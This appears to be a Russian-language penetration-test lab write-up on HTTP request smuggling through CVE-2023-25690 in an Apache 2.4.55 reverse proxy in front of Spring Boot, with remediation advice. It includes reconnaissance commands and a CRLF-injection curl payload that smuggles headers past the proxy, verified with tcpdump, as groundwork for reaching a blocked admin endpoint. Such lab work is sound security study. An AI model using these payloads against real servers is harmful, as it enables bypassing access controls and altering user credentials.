
Лаборатория HTTP Request Smuggling: Apache 2.4.55 CRLF injection
| Компонент | Роль | Версия |
|---|---|---|
| Apache HTTP Server | Обратный прокси | 2.4.55 (уязвимый) |
| Spring Boot (встроенный Tomcat) | Backend API | 4.x (Java 21) |
| SQLite | База данных | — |
Пользователь ──► Apache :80 (Прокси) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: несанитизированные CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> заблокировано
POST /public/register: позволяет регистрировать пользователей в базе данных
POST /public/login: позволяет выполнить вход через проверку введённых учётных данных и выдаёт токен сессии
GET /public/dashboard: закрытая область пользователей
GET /api/status: принимает параметр «name», является примером endpoint'а для проверки состояния сервисов
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: это маршрут, теоретически недоступный публично, который позволяет администраторам изменять данные пользователей
В ходе проведения пентеста была выявлена критическая уязвимость в инфраструктуре обратного прокси, которая раскрывает backend Spring Boot. Прокси Apache HTTP Server версии 2.4.55 подвержен уязвимости CVE-2023-25690 (HTTP Request Smuggling), которая позволяет атакующему обходить фильтры безопасности, установленные на прокси, и напрямую достигать незащищённых внутренних административных endpoint'ов.
Атака использует отсутствие санитизации управляющих символов (CRLF) в RewriteRule Apache, что позволяет внедрить второй HTTP-запрос между параметрами легитимного запроса к backend'у. Proof of concept продемонстрировал несанкционированное изменение учётных данных пользователя в базе данных через endpoint /admin/edit/{id}/{newName}/{newPass}, теоретически защищённый ACL прокси.
Рекомендации: Немедленно обновить Apache HTTP Server до версии ≥ 2.4.56, усилить фильтры безопасности на прокси и внедрить уровень безопасности на стороне backend'а (Spring Security) для всех чувствительных endpoint'ов.
Определение версии Apache путём анализа HTTP-заголовков ответа.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Результат: Заголовок Server раскрывает Apache/2.4.55. Обращение к базе данных CVE → соответствие с CVE-2023-25690.
Согласно CVE, в этой версии Apache, если присутствует RewriteRule, которая копирует в целевой URL backend'а произвольные символы из запроса к прокси, скопированный текст не санитизируется, поэтому проходят и управляющие символы (такие как переводы строк)
Например: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P означает режим прокси
Итак, теперь наша цель — обнаружить возможный endpoint, который выполняет эту перезапись на уровне прокси
Из анализа ответов и поведения приложения видно, что сессия управляется через JSESSIONID, что подтверждает использование Java Servlet Container (например, Apache Tomcat, Jetty или WildFly). Кроме того, запрос к несуществующим endpoint'ам возвращает «Whitelabel Error Page», что указывает на наличие Spring Boot в backend'е.
С помощью bash-скрипта для автоматизации словарного фаззинга были сопоставлены endpoint'ы, доступные в сети (предположительно все)
Результат:
| Endpoint | HTTP-код | Метод | Параметры |
|---|---|---|---|
| admin | 403 | GET | (нет параметров) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (нет параметров) |
| public/logout | 200 | GET | (нет параметров) |
| api/status | 200 | GET | (нет параметров) |
| service/* | 200 | GET | (нет параметров) |
Учитывая, что
возвращают одинаковый ответ, можно понять, что они указывают на один и тот же endpoint backend'а. Кроме того, поскольку запросы вида /service/x/y/z (которые, скорее всего, не существуют) не возвращают 404, можно сделать вывод, что исходный endpoint принимает параметр, а не path variable. Таким образом, можно заключить, что запросы к /service/<сервис> транслируются с помощью RewriteRule для backend Spring Boot (именно то, что мы искали). Теперь нужно понять, является ли эта RewriteRule фиктивной, то есть использует ли она regex типа .* или хорошо структурирована.
Попробую вставить управляющие символы в запрос, чтобы разделить легитимное содержимое от скрытого:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Сервис 'x' работает и стабилен.
Я вставил пользовательский параметр, чтобы проверить, что CRLF интерпретируются корректно
trash_header предназначен для инкапсуляции заголовков, которые Apache добавит в запрос к backend'у (таким образом они будут интерпретированы как простой текст X-Header и не будут иметь значения для HTTP-запроса)
С помощью tcpdump в контейнере backend'а мне удалось перехватить HTTP-запрос, поступающий от Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Backend видит этот запрос:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
«Управляющие символы сработали»
Ответ указывает мне, что часть с управляющими символами прошла беспрепятственно как структура самого HTTP-запроса, а не просто как параметр (поскольку имя, перехваченное backend'ом, — только 'x'). Таким образом, мы навязали формат HTTP-запроса к backend'у, и прокси его принял. Это открывает путь к настоящему payload для smuggling'а.